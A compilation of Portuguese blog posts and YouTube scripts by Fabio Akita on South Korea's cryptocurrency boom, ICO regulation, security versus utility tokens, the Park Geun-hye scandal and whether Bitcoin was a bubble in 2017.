Nossa missão? Chegar aos 2%, nesse ponto vamos começar a ver a matemática exponencial começar a gerar resultados mais palpáveis para a maioria da população. Este é o começo, você tem a oportunidade de entrar logo no começo. Os próximos 10 anos prometem.

No próximo episódio eu vou concentrar a maioria das startups que estavam presentes nos eventos numa montagem mais rápida para finalizar o assunto da Coréia. O que acharam deste episódio? Não deixem de comentar abaixo, dêem um joinha se gostaram e assinem o canal e cliquem no sininho para não perder nenhum episódio!

Descrição no YouTube

Finalmente entrando mais a fundo nas diversas palestras dos eventos Beyond Blocks e Blockchain Parterns, vamos entender os principais pontos de discussão a respeito de Initial Coin Offerings ou ICOs, Security vs Utility Tokens, tokenização e outros dos principais tópicos discutidos na conferência.

Links do vídeo:

• Beyond Blocks Summit Seoul (https://beyondblocks.com/summit/seoul/)
• Blockchain Partners Summit (http://blockchainpartnerssummit.com/)
• NÃO Faça o que você (“ACHA”) que Ama (http://www.akitaonrails.com/2014/09/13/off-topic-nao-faca-o-que-voce-acha-que-ama)
• Coleção INCERTO de Nassim Taleb (https://www.penguinrandomhouse.com/books/247576/incerto-4-book-bundle-by-nassim-nicholas-taleb/9780812997699/)

Script

Olá pessoal, Fabio Akita

Bom, se você assistiu o episódio anterior, já tem uma boa idéia de porque a Coréia do Sul se tornou uma força monumental no mundo de criptomoedas. Num certo momento, eles chegaram a ser sozinhos mais de 30% do volume global de moedas como Bitcoin ou Ethereum.

Vamos gastar os próximos 3 episódios analisando os principais assuntos discutidos nos eventos Beyond Blocks e Blockchain Partners Summit que assisti. Não vou ficar detalhando palestra a palestra mas sim delinear os pontos principais que foram comuns em todos e que podem ser novidades para a maioria das pessoas no Ocidente. Não deixe de assinar o canal e clicar no sininho para não perder os próximos episódios.

Agora pensa assim, muitos dos investidores mais antigos, que compraram Bitcoin lá por 2012, ou Ethereum lá por 2015, começaram a re-investir os ganhos em produtos e serviços e criaram o ecossistema de corretoras, wallets, crypto funds, aceleradoras e, eventualmente, o que eles chamam de “Syndicates”. Em resumo pense que existe um grupo de influência que “mentora”, “acelera”, e facilita o listing de startups que lançam ICO tokens nas diversas corretoras. Daí eles ativam os influenciadores como YouTube e apps como wallets que tem a opção de participar do lançamento inicial dessas tokens direto das carteiras!

Influenciadores como a Hashed que mencionei no episódio anterior, a BRP (Blockchain Revolution Partner), a FBG Capital, são alguns que capitaneiam o mercado de criptomoedas e principalmente de ICOs. E isso na Coréia. Uma estrutura similar existe em outros países asiáticos como China, Japão, e também Suíça, Estônia, em breve veremos algo assim em Taiwan, Thailândia, Ilha de Malta.

Nos Estados Unidos esse tipo de estrutura não pode acontecer, pelo menos não fácil. Já vou explicar porque.

Assim como em qualquer ambiente denso em startups, você vê tudo que é tipo de bizarrice. A maior parte é ruim pra caramba. Vá em qualquer evento de startups e você sabe que, dentre as dezenas de startups apresentando, talvez 1 ou 2 tenha algum futuro de verdade, todo o resto vai morrer na praia. Seja porque a equipe fundadora é claramente ruim, ou o modelo de negócios é obviamente ruim, ou a execução da idéia é obviamente mal feita, ou uma combinação de tudo isso.

Vou fazer um vídeo separado só mostrando rapidamente as diversas apresentações de startups que vi por lá pra vocês terem uma noção.

Explicando, todo VC, aceleradora e incentiva todo mundo a “perseguir suas próprias idéias”, mesmo aqueles que claramente nem deveriam, com bordões muito ruins como “faça o que você ama” ou “seja seu próprio chefe”, como se fosse a única coisa nobre a se fazer (spoiler: não é). Porque o que interessa são os grandes números. Digamos, se só 1 em cada 1000 vai ser bem sucedido, você precisa convencer 2000, 3000 pessoas, pra ter 2 ou 3 que vão trazer grandes retornos. É a estatística dos grandes números.

Esse é o normal em tech startups, esse é o normal em ICOs, todo mundo já deveria conhecer Nassim Taleb que deixa isso bem claro em seus livros Cisne Negro e Anti Fragil.

O modelo de negócio dos VCs, os venerados Venture Capitalists, é diversificar suas opções e ter acesso inicial aos negócios quando o preço das shares é mais baixo e podem ter parte do controle da empresa. Assim podem criar um pacote mais atraente e conseguir outros investidores em rounds seguintes, até que possam ter “exit” (saída) e realizar os lucros antes ainda do negócio realmente vingar. Não é responsabilidade do VC ver a empresa dar lucro e se tornar sustentável. A estrutura de um VC requer que a startup dê lucro porque ele não pode jogar contra ele mesmo ou shortear as ações como poder fazer um Hedge Fund, por exemplo.

ICOs de security tokens adicionam um problema hoje em alguns lugares. Simplificando, ICOs, ou Inicial Coin Offerings, apareceram como uma alternativa barata e simples aos IPOs ou Initial Public Offerings. Porque você está oferecendo shares ao público, pra abrir e poder negociar você precisa passar pelo crivo da SEC que é a U.S. Securities and Exchange Commision. Só aí você pode listar na bolsa. No Brasil o equivalente seria a Comissão de Valores Mobiliários, ou CVM.

Agora, ICOs, tirando vantagem da característica de imutabilidade e consenso descentralizado do blockchain, permite que você distribua “assets digitais” únicos, não adulteráveis, como moedas, ou no caso, de Security Tokens como mencionei, o equivalente a uma security (ou valor mobiliário) digital. Daí você corta o intermediário (SEC, bolsa) e vai direto a quem quer adquirir esse asset usando um token.

Existem pelo menos 2 tipos de ICOs, as que distribuem security tokens e as que distribuem utility tokens. Voltando aos Estados Unidos, existe um critério chamado o Teste de Howey por causa da disputa SEC vs Howey em 1946. Na prática: se é um investimento de dinheiro, num empreendimento comum, com expectativa de lucro primariamente através dos esforços de terceiros” então é um security.

Isso meio que leva todo ICO nos Estados Unidos a ser reconhecido como security. E isso impede que ICOs tenham muita utilidade lá. Entenderam porque eu quis ir conhecer a Ásia?

Existem desvantagens em ICOs assim como em qualquer investimento de risco, regulado ou não regulado. Porém, um ICO tem algumas grandes vantagens difíceis de ignorar. Primeiro de tudo elas são mais baratas, porque não tem taxa de intermediários, corretoras, bancos, burocracia. Tem velocidade na execução, novamente porque estamos removendo intermediários. Fora a maior exposição ao livre mercado internacional, por exemplo, você é do Brasil como que você pode comprar ações da Nasdaq? É difícil. Como faz um cidadão chinês, ou sul coreano? É difícil. ICOs removem as barreiras geopolíticas. Isso em contrapartida aumenta a quantidade possível de investidores também. Em querer evitar que as ICOs ruins tenham acesso a essa demanda, você também impede os bons ICOs de serem bem sucedidos.

Utility Tokens como o nome diz, tem uma utilidade na rede. Por exemplo, uma Smiles poderia transformar seus pontos em utility tokens. Você poderia adquirir esses pontos como tokens e trocá-los livremente por produtos ou serviços. Esses tokens podem mudar de valor por causa da dinâmica de oferta-procura mas não seria puramente uma security. Parece confuso, mas em conceito é simples: um é um papel, como uma ação, só que em formato digital. O papel por si só não tem utilidade nenhum. Um utility token no mínimo tem um uso, pode não representar um valor pra todo mundo, mas tem valor na rede onde ela opera, exatamente como um Smiles ou qualquer carimbo num cartão de fidelidade, só tem valor na loja que carimbou. Uma security token, por outro lado, é a digitalização de um papel, um asset, assim como o e-mail é a digitalização de uma carta, barateando todo o processo de envio da carta, como consequência.

Sobre utility e pagamentos, tivemos vários exemplos de discussões a respeito. Empresas como PumaPay que é resultado de outra bem sucedida ICO que levantou quase USD 120 milhões e se tornou o 7o maior ICO de sucesso, levantando o ponto de como cartões de crédito tem uma baixa usabilidade hoje, com tecnologia defasada dos anos 50 cobrando taxas enormes dos comerciantes, com longa demora de settlement (ou liquidação), sem contar as fraudes.

Outra apresentação interessante que me chamou a atenção veio do co-fundador da Tmon, o equivalente Groupon deles, Daniel Shin, onde ele pretende lançar uma plataforma chamada Terra para pagamentos com criptomoedas e usar o poder que ainda tem na TMon para alavancar essa plataforma, assim como a eBay fez ao Paypal. Um conceito que parece estar ganhando terreno no mundo de pagamentos com criptomoedas é o uso de algum tipo de “Stable Coin”, uma moeda cujo controle é mais centralizado, onde o Terra seria emitido ao mercado com mais frequência quando a demanda for alta e parte das taxas seria guardado para a recompra das moedas quando a demanda cair, de forma a manter o preço mais ou menos estável, como um Banco Central faz com swaps cambiais para estabilizar a cotação do dólar, por exemplo.

Este e o próximo episódio estão densos em conceitos que talvez sejam novos para muita gente assistindo. Eu gostaria de evitar fazer vídeos muito introdutórios, vamos assumir que a maioria das pessoas já entende o que são criptomoedas. Não vejo necessidade de ficar explicando, de novo, a técnica por trás dos blockchains, mesmo porque eu acho que a tecnologia ainda vai evoluir em breve.

Por exemplo, outra tendência que se mostrou durante o evento é uma nova categoria de ICOs chamado de “Reverse ICOs”. Em vez de startups iniciando do zero e lançando tokens, reverse ICOs são empresas que já tem uma grande base de usuários lançando um sub-produto ou complemento a um produto existente via lançamento de ICOs oferecendo ao público a chance da compra dos primeiros tokens, incluindo ter direitos de voto e dividendos futuros. O conceito nasceu do já existente reverse IPOs e reverse mergers - eu digo que o mundo financeiro é infinitamente criativo, desenvolvedores de software como eu tem muito a aprender ainda - Num reverse IPO uma empresa privada pode se tornar pública comprando as ações de uma empresa pública e fazendo uma troca das ações privadas pelas públicas.

Empresas da Coréia do Sul tem olhado para essa categoria também como uma forma de difundir seus produtos além de suas fronteiras. Como disse antes, a Kakao é gigante na Coréia do Sul mas ninguém conhece nem a marca fora dela. A Kakao está investindo em criptomoedas, como com a Ground X que é a spin off de cripto deles, e também tendo uma das maiores corretoras de lá, a Upbit que roda na plataforma da Kakao e está integrada ao KakaoTalk que é o equivalente Telegram deles. Lembram quando falei da população “hiperconectada” deles? Imagine criptomoedas integrados diretamente no seu Whatsapp. E isso é só o começo.

Jason Han, CEO da Kakao e da Ground X explicou que muita gente vê a implementação de soluções em cima de blockchain da maneira errada. Claro que isso faz muito sentido visto do ponto de vista da Kakao, mas não está errado. Não se deve pensar em “vamos refazer o Whatsapp em blockchain” isso seria ridículo porque todos nós sabemos que nenhum blockchain tem hoje throughput para aguentar o tráfego de um grande comunicador. Mas sim, como podemos integrar alguns tipos de funcionalidades entre diferentes comunicadores usando blockchain, por exemplo.

Diferentes soluções estão sendo apresentados, em particular a utilização de side-chains ou redes paralelas off-chain. Uma segunda rede mais veloz sobre a rede mais segura e, por consequência, mais lenta. Um exemplo foi da palestra da Orbs que se apresenta como a “Hybrid Blockchain” uma das muitas alternativas de solução que está sendo usado por diversas empresas incluindo a Kik, cujo ICO levantou mais de USD 100 milhões mas obviamente teve dificuldades para executar porque ele usou o approach errado de querer fazer um comunicador em cima de algum blockchain.

Voltando ao assunto de securities. Nos Estados Unidos, a SEC tende a automaticamente categorizar mesmo as utility tokens como securities. E daí a startup é obrigada a passar pelas Regulações D (formulário D), A+ e S. Isso não é barato, e aí você acaba procurando um VC para conseguir fazer os ritos necessários.

Isso tudo é importante, porque foi justamente o tema central tanto dos eventos Beyond Blocks quanto Blockchain Partners. Como os países têm encarado a diferenciação de Security vs Utility, onde as leis são mais amigáveis? Por isso também as tech startups têm migrado pra fora dos Estados Unidos e procurado outros países. E pela mesma razão vários países, querendo a oportunidade de tomar a dianteira estão se tornando amigáveis a startups que nos EUA não são tão bem vindos.

Mesmo países como Japão e Coréia do Sul ainda estão tomando precauções contra security tokens e ICOs em geral, aumentando a barreira de regulamentação, especialmente por causa do boom do fim do ano passado. Então países como Tailândia, Ilha de Malta e Taiwan têm apresentado alternativas de oportunidades. Taiwan, por exemplo, parece que está organizando um guideline para auxiliar na definição do que são bons e maus ICOs e preparando uma “zona de livre comércio” para empresas que queiram lançar seus ICOs lá.

A Suíça é notoriamente um dos lugares amigáveis a criptomoedas, pelo fato que muitos desenvolvedores core do Bitcoin coincidentemente serem de lá, e mais ainda desde a fundação do Ethereum Foundation. Eles atraíram cerca de 2000 empresas nesse mercado. Taiwan, com suas novas regulamentações mais liberais, quer atrair mais 200 empresas pra lá ainda esse ano. A Tailândia acabou de lançar novas regulamentações que devem facilitar empresas de criptomoedas incluindo ICOs e exchanges. E muito se falou do crescente interesse na Ilha de Malta.

É notório que hedge funds como a Galaxy de Novogratz ou a XRP Capital de Michael Arrington não gostem das excessivas restrições dos Estados Unidos. É notório também que a linha de discurso de todo mundo é um mercado mais livre, nos melhores moldes libertários. Significa correr mais riscos e não “proteger” as pessoas de si mesmos e simplesmente deixar a coisa rolar. Por isso eles também tem incentivado esses novos países com leis mais simples.

E, por hoje chega! No próximo episódio vamos ver porque essa discussão de regulamentação é tão importante, o que pode significar criptomoedas no futuro e qual a nossa situação do Brasil em comparação

O que acharam deste episódio? Não deixem de comentar abaixo, dêem um joinha se gostaram e assinem o canal e cliquem no sininho para não perder nenhum episódio!

Descrição no YouTube

Neste episódio finalmente vamos ver alguns dos assuntos que assisti na conferência Beyond Blocks Summit em Seoul. E no meio da pesquisa esbarrei com uma história muito curiosa que quero contar em mais detalhes aqui:

O que um culto xamanista e um cachorro de estimação podem ter a ver com o impeachment da presidente da Coréia do Sul e como isso pode estar relacionado com o boom das criptomoedas lá?

Este episódio ficou com a narração um pouco mais devagar do que eu gosto, mas nos próximos eu acelero um pouco mais, aguardem ;-)

Script

A gente acha que o Brasil não é para novatos. É verdade. Mas não subestimem outros países. Querem ver? Como um CULTO XAMANISTA e um cachorro de estimação levam ao impeachment da presidenta da Coréia do Sul e o que isso pode ter a ver com o boom de criptomoedas lá?

Rola a intro!

Olá Pessoal, Fabio Akita!

Mano … esse episódio vai dar trabalho. Apertem os cintos e vamos lá! Com o turismo pra trás, HOJE vamos falar sobre o que vocês estavam esperando. Por que a Coréia é o que é no mundo de criptomoedas HOJE?

Claro, podemos criar muitas teorias e a maioria delas provavelmente vai estar errada, MAS uma delas veio logo no primeiro dia do evento Beyond Blocks. A primeira palestra foi do CEO e co-fundador da Hashed, Simon Kim.

A Hashed é um dos grupos mais influentes no mundo de criptomoedas na Coréia. Basicamente é uma aceleradora fundada no meio de 2017. Eles tem dezenas de startups no portfólio e estão envolvidos em projetos que vocês já devem ter ouvido falar como Kyber Network, OmniseGo, EOS, WAS, Storm. No portfolio deles, segundo a Crunchbase, você vê empreendimentos como Origin Protocol que já levantou mais de USD 28 milhões em investimento, Watcha que levantou 12 milhões, Bluzelle que levantou quase 20 milhões e assim por diante.

O próprio Simon foi um investidor no começo do Ethereum e, claro, se deu muito bem quando o Ether começou a crescer exponencialmente. Muitos fundadores de crypto funds eram inicialmente investidores e tiveram a sorte de pegar os primeiros bull runs como o de 2013 e do ano passado.

A teoria de Simon e da Hashed até faz muito sentido pra mim por isso apresento ela aqui. E tem a ver com TRES pilares: cultura, demografia e timing político.

Para dar perspectiva, pense que a Coréia do Sul é um país BEM pequeno. Ele não está nem entre os top 100 países em tamanho. É quase o fim da lista dos top 30 de população. Mas mesmo assim figura quase entre os top 10 de PIB, estando em 12o lugar!

A coréia é globalmente mais conhecida hoje pelo que eu chamo dos TRES Ks: Kimchi, K-pop claro e Kryptomoedas.

Que outros fatos são interessantes? Eles tem uma das internets mais rápidas do mundo, liderando acima da China, acima do Japão.

Eu falei como todo coreano carrega um celular Samsung e eles tem a maior densidade de smartphones difundido na população. E não estamos falando de feature phones, tipos os Nokia baratos que ainda se usa em muitos lugares da China ou Índia por exemplo. Estamos falando de smartphones Android. E a penetração é nada menos que 94% da população!

Some isso ao fato que quase metade dessa população, 40%, vive em Seoul ou em cidades ao redor da região de Seoul e você tem uma das populações mais hiperconectadas do mundo. O Brasil por exemplo é prejudicado pela sua geografia, que isola as cidades e impede conexões maiores. Veja este vídeo para saber mais.

https://www.youtube.com/watch?v=FQ2jmrz_xgU

Por causa disso a Coréia tem a 4a maior receita de app store do mundo. Só em 2017 os sul coreanos gastaram nada menos que 3 BILHÕES de dólares no Google App Store comprando itens puramente digitais. Avatars, presentes digitais, upgrade de apps. Num jogo chamado Lineage que é um MMORPG tipo World of Warcraft, jogadores gastam até 1000 DÓLARES em espadas digitais de quantidade limitada.

Games, todo mundo sabe que a Coréia tem uma longa tradição em games, MMORPG, e-sports. Todo mundo neste ponto já conhece a Bluehole que é a criadora sul coreana do explosivo massive multiplayer battle royale PUBG. Mas essa tradição vem lá de trás.

Sabe qual é o MMORPG mais antigo ainda em funcionamento até hoje? Que tal NEXUS: The Kingdom of the Winds que foi lançado em 1996 (!!) e até hoje está funcionando?

Em 1999 você já tinha o primeiro serviço pago de avatars chamado SayClub!

Também em 1999 você tinha um tipo de rede social com microblogging onde você podia comprar mercadorias virtuais para mobiliar um quarto virtual chamado CyWorld, algo como um Orkut mas já envolvendo comércio.

E 1999 não pára porque daí você tinha um grande portal onde você podia jogar usando uma moeda virtual, o Hancoin, na plataforma Hangame.

E o próximo passo depois de comprar coisas virtuais é trocá-las e aí você tem a plataforma ItemBay em 2001, um e-Bay para coisas virtuais.

E a Coréia também embarcou na onda Napster de música p2p com seu próprio Soribada.

E isso sem contar o início do e-Sports com o Starcraft League em 2000, a primeira liga de e-sports a atrair popularidade nacional.

Um aspecto que eu mesmo não tinha me dado conta, e faz todo sentido, é que asiático é viciado em jogatina. E jogatina organizada tipo cassino é proibido em muitas dos países asiáticos como na China, Japão ou Coréia do Sul. Só estrangeiros podem frequentar os cassinos. Um exemplo, Macau tem metade dos casinos de Las Vegas mas tem o DOBRO da receita. E nem começamos a falar das apostas em corridas de cavalos.

Com tudo isso, estabelecemos que a sociedade coreana é altamente cosmopolita, com quase metade da população na grande região ao redor de Seoul, todo mundo altamente conectado onde as notícias se espalham muito rápido entre uma população altamente acostumada a jogatina online.

Mas em 2012 quando o Bitcoin começou seu primeiro grande crescimento parabólico (antes do crash por causa do Mt Gox e Silk Road) os coreanos ainda não tinha muito acesso a comprar Bitcoins e perderam essa corrida. Então quando o Ethereum apareceu e passou do USD 1 de valor já haviam várias exchanges operacionais e as pessoas viram como uma oportunidade de investir no “próximo Bitcoin”.

Quando o valor do Ethereum passou de USD 1 para USD 40 em 4 meses em 2016, a notícia de ganhos de 4000% se espalharam hiper rápido e todo mundo começou a comprar Ether como se não houvesse amanhã! E as notícias de ganhos extraordinários em altcoins como Ripple, Litecoin, Monero e outros continuaram a se espalhar extremamente rápido nas mídias sociais durante 2017.

Só uma coisa poderia parar isso: a intervenção do governo. Qualquer governo do mundo, principalmente em 2015 a 2016, depois do crash da Mt Gox de 2014, estaria atento vendo pessoas comprando coisas como Ether desgovernadamente e o preço subindo de USD 1 para USD 10 do nada.

Em 2013 a Coréia do Sul tava elegendo seu 18o presidente, a primeira presidente mulher da história não só da Coréia do Sul, mas do Leste Asiático - 박근혜 - Park Geun Hyeo . Ela tinha longa carreira política e exerceu quatro termos consecutivos no parlamento desde 1998. Segundo nossa amiga Wikipedia, depois que foi eleita ela foi listada como décima-primeira das mulheres mais influentes da lista da Forbes e quadragésima-sexta (46) pessoa mais influente da lista da Forbes, em termos de coreanos ela tava só atrás do presidente e vice-presidente do poderoso grupo Samsung. Lembram? 15% do PIB??

Ela também era conhecida pela más línguas como a “filha do ditador”, Park Chung Hee 박정희 que liderou um golpe de estado em 1961. Pelo bem ou pelo mal, numa Coréia do Sul pós-liberação (lembra? Contra os fantoches do norte em 1950), tendo terminado a segunda república que não tinha apoio por acusações de terem fraudado as eleições de 1960, dizem que a ditadura de Park criou as fundações pro rápido período de industrialização do país. As ditaduras militares iam ainda continuar até 1993.

Em 1974 uma tentativa de assassinato deu errado e o tiro perdido matou a primeira mulher de Park - Yuk Young-soo 육영수.

Park Chung Hee e sua filha Park Geun Hye obviamente sofreram muito com a morte de Yuk Young Soo e eis que uma figura bizarra aparece: Choi Tae-min originalmente um monge budista que se converteu para a igreja católica romana e criou um culto xamanista chamado Yongsae-gyo (영세교), ou “Igreja do Espírito do Mundo”, se auto-declarando Maitreya, ou “Futuro Buda”! Ele apareceu na vida dos Park logo depois do assassinato de Yuk Young Soo dizendo que ela apareceu para ele e pediu para que ajudasse sua filha!

Park escapou de outras tentativas de assassinato, sendo 2 pelo menos ligados a simpatizantes da Coréia do Norte. Mas em 79 ele foi traído pelo seu amigo e diretor da agencia central de inteligencia - a fucking CIA da Coréia- Kim Jae-gyu 김재규 que depois foi capturado junto com seus comparsas, torturado, julgado, condenado e executado. Então, em 2 anos, a jovem Geun Hyeo perdeu sua mãe e seu pai.

E foi assim que o sinistro Choi se tornou mentor de Park Geun Hyeo e também foi assim que sua 5a filha Choi Soon Sil se tornou amiga de Park Geun Hyeo desde pelo menos 1977.

Com uma carreira em ascensão que culminou em ser eleita democraticamente presidente em 2013 começaram a aparecer os escândalos. Parece que Park se tornou mero fantoche dos Choi, sendo manipulada a vida inteira.

Mas como isso veio à tona? A Coréia do Sul não é para amadores. A coisa estourou por causa do Puppygate! Isso mesmo!

Em resumo, a tal Choi conheceu um ex-esgrimista e atleta olímpico, o Ko Young Tae, que estava com uma marca luxuosa de bolsas e roupas chamada Villomillo. Choi gostou dos itens e passou a dá-los para a presidente Park. E, claro, o Ko se beneficiou muito tendo sua cara marca de itens associada não-oficialmente a Park via Choi.

A coisa azedou uma vez que a Choi pediu para ele cuidar do cachorro da sua filha. Ko deixou o cachorro no seu apartamento e foi jogar golfe. Quando voltou tomou uma comida de rabo homérica por ele ter deixado o cachorro abandonado. Daí ela passou a tratar ele mal, xingando ele, tratando como escravo. E o que fez o sr. Ko? Resolveu devolver os maus tratos: foi pra imprensa e contou da relação da Choi com Park. Aí a casa caiu.

Foi revelado como Choi Soon Sil que Não tem afiliação política nem nenhum tipo de cargo oficial tinha acesso a documentos confidenciais do governo, chegando a editar os discursos de Park. Também por causa dessa relação apareceu que Park fazia as grandes empresas como Samsung doar mais de dezenas de milhões de dólares para ONGs controladas por Choi.

Em resumo, como vocês sabem, o boca a boca corre MUITO rápido na população hiperconectada de Seoul. E em outubro de 2015 o povo já tava de saco cheio e foi pras ruas pedindo a renúncia de Park. Ela se recusou a renunciar mesmo tendo chegado ao pior índice de aceitação da história da Coréia do Sul, indo para 1% entre as pessoas abaixo de 60 anos de idade.

Choi foi até chamada por muitos de a Rasputin Coreana. Depois de muitas investigações e muita merda jogada no ventilador que espirrou em gigantes como os grupos Samsung e Lotte, terminou com a condenação de 20 anos de prisão de Choi. E tentando relutar e negar até o fim, boicotando os julgamentos, ela terminou condenada por 16 das 18 acusações e terminou com uma sentença de 24 anos de prisão. Agora ela está cumprindo sua pena no Centro de Detenção de Seoul. Muitos ainda apoiam a ex-presidente e dizem que foi Golpe. ..

Sério, essa história é surreal. Quando você acha que já viu de tudo .. mas eu sei que ficou longo mas a história é tão legal que eu me empolguei aqui.

E o que tudo isso tem a ver com criptomoedas você se pergunta. Imagine o rebuliço que ficaram todas as instâncias de todas as instituições do país enquanto as investigações e o escrutínio da mídia e do público pegavam fogo.

Vocês acham que alguém do governo tava prestando atenção em Ethereum, que estava tendo uma valorização meteórica de preço de USD 1 para USD 40 e a mesma coisa estava começando a acontecer com outras alt-coins. Num período normal o governo teria brecado isso.

E eis a receita de como a Coréia do Sul saltou para o país com o maior volume de transações em criptomoedas em 2017. Imagina, uma população viciada por jogatina, ouvindo falar de novos milionários aparecendo do dia para a noite por causa de uma novidade chamada criptomoedas. O boca a boca digital de uma população quase inteira hiperconectada.

Nos Estados Unidos parece que nem 1% da população tem criptomoedas. De acordo com algumas pesquisas da Hashed, parece que nada menos que 30% dos trabalhadores assalariados da coréia do sul já tem criptomoedas em alguma forma, e isso é um número conservador. Alguns acreditam que o número real seja mais próximo dos 50% ou mais.

Além disso nos Estados Unidos, a maioria dos investidores está concentrado em grupos mais jovens, de millennials. Na Coréia até sua avó está investindo em criptomoedas. Não é incomum encontrar grupos de velhinhas discutindo altcoins nos cafés de Seoul.

Como disse no começo, é muito difícil dizer que essa exata sequência de eventos foram realmente os determinantes, mas que é uma puta boa história, isso é. E no mínimo serve para tornar a imagem que temos dos coreanos mais colorida.

E no próximo episódio vou ser mais leve e vamos tratar dos outros assuntos e startups que vi nos eventos. Em particular, vamos começar a tocar no assunto de ICOs!

Nos vemos em breve! Câmbio e desligo!

Essa é a pergunta de um milhão de dólares. Ou de um bilhão!

Se você assistiu ao lendário filme “A Rede Social”, conhece a versão romantizada da igualmente lendária criação do Facebook. E provavelmente sabe tudo sobre os antagonistas do filme, os Gêmeos Winklevoss.

Mas como o filme se encerra nos primeiros anos do Facebook, há mais de uma década, é bem provável que você não saiba que esses mesmos gêmeos apostaram pesado em criptomoedas. Enquanto influenciavam a legislação de Nova York, eles investiram USD 11 milhões dos USD 65 milhões recebidos no acordo do Facebook. Em 2013, isso lhes permitiu comprar 1% das moedas disponíveis. O que significa que eles se tornaram os primeiros Bilionários das Criptomoedas (com “B”!)

Então, isso é “A Rede Social Parte 2: A Ascensão das Criptomoedas”.

2017 foi uma montanha-russa para as criptomoedas em geral, e para o Bitcoin em particular.

Faz menos de 10 dias que chegamos ao “mais de 9000!”

E poucos dias depois, o Bitcoin cruzou a barreira dos 10.000! E quando todo mundo achava que era o limite, ele continuou subindo, na maior e mais rápida alta da história das criptomoedas.

No momento em que escrevo este artigo, estamos consolidando em torno dos 11.700, perseguindo os 12.000 enquanto nos aproximamos de 2018 e da entrada dos Futuros da CME, da Nasdaq e de muitos outros grandes empreendimentos.

E o mundo não consegue deixar de perguntar: “estamos numa bolha?”

Ou, mais precisamente: “vou perder tudo se comprar Bitcoins hoje?”

O que é curioso: a melhor resposta até agora veio da tradicional Forbes, no artigo “Is Bitcoin In A Bubble? Check The NVT Ratio”.

Traders adoram seus indicadores. Na ciência da computação, estamos cada vez mais fascinados com estatística, probabilidade e o advento do machine learning. Mas os dois campos ainda estão longe de escapar da maior armadilha de todas: “Post hoc ergo propter hoc”.

“Correlação NÃO é Causalidade”

Esse é o erro que leva a coisas inacreditáveis na história da humanidade. De religiões extremistas a pessoas vendendo imóveis para comprar Bitcoins.

Aceite que ninguém consegue prever o futuro. Podemos fazer previsões de curto prazo. Se procurarmos com afinco, encontramos qualquer quantidade de indicadores que parecem “científicos” e “matemáticos” o suficiente para convencer, mas no fim das contas valem tanto quanto um amuleto da sorte ou um trevo de quatro folhas.

E o mais importante: não importa se o Bitcoin despencar amanhã!

Programadores de startups de tecnologia são os primeiros a gritar a besteira do “é a Mania das Tulipas de novo”, como se isso os fizesse soar sábios. Como disse no meu artigo anterior, se você ouvir alguém repetindo essa fake news, você sabe que essa pessoa não entende nada do assunto.

Igualmente desonesto é ouvir pessoas dizendo “é só acreditar, análise do mundo real não se aplica ao Bitcoin.” Isso é absurdo. Claro que se aplica. Tanto o mercado de ações quanto as criptomoedas seguem o mesmo comportamento, porque os jogadores são os mesmos. Não só análise técnica, mas também economia comportamental se aplica. Como o Efeito Dotação de Richard Thaler:

“As pessoas atribuem mais valor às coisas simplesmente porque as possuem.”

Se os programadores são tão honestos e sábios, por que não nos lembrar da exuberância irracional no nosso próprio campo? Que tal a lendária Bolha das Pontocom de 2001?

Eu tinha 24 anos na época e cerca de 4 anos de carreira. Foi uma época maluca para trabalhar. Passei por 3 empresas diferentes nesse período. Vi todas elas explodirem. E cara, eu era tão empolgado e animado, e ao mesmo tempo tão frustrado.

Frustrado porque faltavam experiência, conhecimento e capital para embarcar naquelas empreitadas e pegar as ondas grandes.

Quando tudo desmoronou em 2001, parecia que tinha perdido a chance. Não é uma sensação agradável. Racionalmente eu sabia que não tinha perdido nada. Vivi aquilo, experienciei de perto, e como não tinha capital para investir, também não perdi nada quando tudo explodiu. Mas prometi a mim mesmo que aproveitaria o tempo para estudar, ganhar experiência e acumular capital. E quando outra oportunidade daquelas aparecesse, eu estaria pronto para agarrá-la.

O mais importante: a bolha estourou de forma espetacular. Nunca entrei em desespero, nunca senti que era “o fim do mundo”. O mundo nunca acaba; somos engenhosos demais para isso.

O gráfico acima é o Nasdaq-100, um índice do mercado de ações composto por mais de 100 títulos emitidos pelas 100 maiores empresas não-financeiras listadas na NASDAQ. E ele é poderoso porque dá a impressão de que o Bitcoin está caminhando para seu inevitável crash de bolha também.

Agora, veja o seguinte gráfico do Nasdaq-100 de 1999 até hoje (2017):

Sim, tivemos um período de depressão e recuperação muito lenta. Depois a crise econômica de 2008 nos acertou em cheio. Mas nos recuperamos. Dê 10 anos após um crash e eu prometo que chegaremos a níveis acima de qualquer crise anterior. É assim que funcionamos. Com o tempo inovamos, ajustamos as arestas, tornamos as coisas mais eficientes e fluidas.

Hoje, o Nasdaq-100 está em 6.263,70. No pico do crash da bolha de 2001, o índice estava em 4.691,60. Ou seja, estamos 50% acima da febre da bolha dos anos 2000. E tudo isso aconteceu durante a minha vida.

E como planejei em 2001: na época eu não estava pronto. Agora estou.

A antifragilidade funciona assim: você pode arriscar uma quantia que, se perder, não vai se arrepender. Mas se ganhar, ganha grande. O Bitcoin é exatamente isso. Posso investir, digamos, R$ 50.000. Se perder, vai doer, mas não vou à falência por causa disso. Mas se o crescimento exponencial continuar e dobrar nos próximos 2 meses, terei R$ 100.000. E esses R$ 100.000, daqui a 6 meses, podem virar R$ 250.000 ou mais.

O ponto central é: se cair, perco os R$ 50.000. Tudo bem. E se quiser correr ainda mais risco, posso aplicar técnicas de trading, fazer swing trading, margin trading, me alavancar, e assim por diante.

O resumo é: realmente não importa se isso é uma bolha ou não. Se explodir, as criptomoedas vão continuar existindo, de uma forma ou de outra. Já experimentamos o que é negociar em uma moeda 100% digital sem fronteiras. Não vamos voltar atrás. A internet não voltou atrás — simplesmente não conseguimos mais ficar offline.

Depois da histórica quebra dos USD 10.000 ontem, o Bitcoin e as criptomoedas em geral finalmente chegaram à mídia mainstream de forma bombástica.

Como muitos na área de tecnologia, eu experimentei desde o início. Eu mesmo minerava alguns bitcoins lá em 2009, depois perdi a chave privada da minha carteira, esqueci completamente do assunto, e muitos anos depois estou aqui me mordendo de arrependimento :-)

Quando chegou a USD 3.000, meu interesse na plataforma foi totalmente renovado. E foi uma surpresa muito agradável ver o tamanho que isso tomou. Quem me acompanha sabe o quanto sou ávido por aprender coisas novas que têm potencial real. E também como é fácil para mim mergulhar de cabeça em algo.

Só consigo fazer isso porque não sou fiel a nada. Não escolho e defendo uma única linguagem, nem um único sistema operacional, nem um único fabricante, nem um único mercado. Ficar na posição de defender algo por defender me parece extremamente improdutivo.

